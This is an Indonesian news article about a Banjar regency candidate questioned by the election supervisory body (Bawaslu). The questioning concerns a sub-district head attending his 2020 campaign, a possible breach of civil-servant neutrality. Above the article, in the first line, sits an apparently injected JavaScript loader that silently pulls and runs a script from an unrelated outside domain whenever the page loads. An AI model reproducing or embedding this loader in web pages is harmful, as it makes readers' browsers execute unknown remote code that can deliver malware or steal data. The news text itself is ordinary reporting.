(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Calon Bupati Banjar H Saidi Mansyur dipanggil Bawaslu Kabupaten Banjar, Sabtu (24/10/2020) siang, klarifikasi kehadiran Camat Aluh-aluh SE yang nongol di kampanye tatap muka terbatas.
Calon Bupati (Cabup) Banjar H Saidi Mansyur memenuhi panggilan Sentra Gakkumdu Bawaslu Kabupaten Banjar, buntut pelaporan dugaan pelanggaran netralitas ASN.
H Saidi Mansyur mengakui dirinya dicecar sekitar 30 pertanyaan dari penyidik di Sentra Gakkumdu Bawaslu Banjar. Ia pun menjelaskan kronologi kehadiran Camat Aluh-aluh SE saat kampanye Paslon H Saidi Mansyur-Said Idrus Alhabsyi di Desa Pemurus Dalam pada Kamis (15/10/2020) lalu.
Setelah memberikan keterangan kepada penyidik di Sentra Gakkumdu Banjar, Cabup Banjar H Saidi Mansyur mengatakan, pihaknya tidak mengundang Camat Aluh-aluh SE pada kampanye, Kamis tanggal 15 Oktober 2020 itu.
Menurut H Saidi Mansyur, Camat Aluh-aluh SE hadir secara spontan di wilayah yang dipimpinnya itu. “Beliau (SE) tidak diundang, beliau secara spontan ikut dalam kegiatan tersebut,” jelasnya, Sabtu (24/10/2020).
Camat Aluh-aluh, kata H Saidi Mansyur hadir untuk menyampaikan tentang adanya Pilkada di Kabupaten Banjar yang diikuti 3 pasangan calon bupati dan wakil bupati.
“Beliau mengajak masyarakat untuk turut aktif dalam menyemarakan pesta demokrasi dan pada hari H tidak golput,” pungkas Cabup Banjar nomor urut 1 H Saidi Mansyur.
Kasus dugaan pelanggaran netralitas ASN dan pidana pemilu bermula dari laporan warga Kecamatan Aluh-aluh Kasmayuda. Camat SE dilaporkan melanggar netralitas sebagai seorang ASN yang hadir di kampanye Paslon Bupati Banjar Nomor Urut 1 H Saidi Mansyur-Habu Idrus Alhabsyi. Pelapor menyerahkan sejumlah berkas dan bukti dukung berupa foto hingga video kegiatan kampanye yang diduga melibatkan kehadiran Camat SE.
Sekadar diketahui Pemerintah Kabupaten Banjar sudah menerbitkan Surat Edaran (SE) Nomor : 800/458PPK.2/BKDPSDM tentang netralitas ASN (Aparatur Sipil Negara) yang langsung diturunkan dan diteken oleh Bupati Kabupaten Banjar H Khalilurrahman kepada seluruh SKPD di Pemkab Banjar.
*Klik disini untuk baca atau download SE Pemkab Banjar tentang netralitas ASN dalam Pilkada (red)
Jika terbukti melanggar netralitas, Aparatur Sipil Negara (ASN) Pemkab Banjar, Camat Aluh-aluh SE bakal kena sanksi dari Komisi Aparatur Sipil Negara (KASN). (kanalkalimantan.com/tim)
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.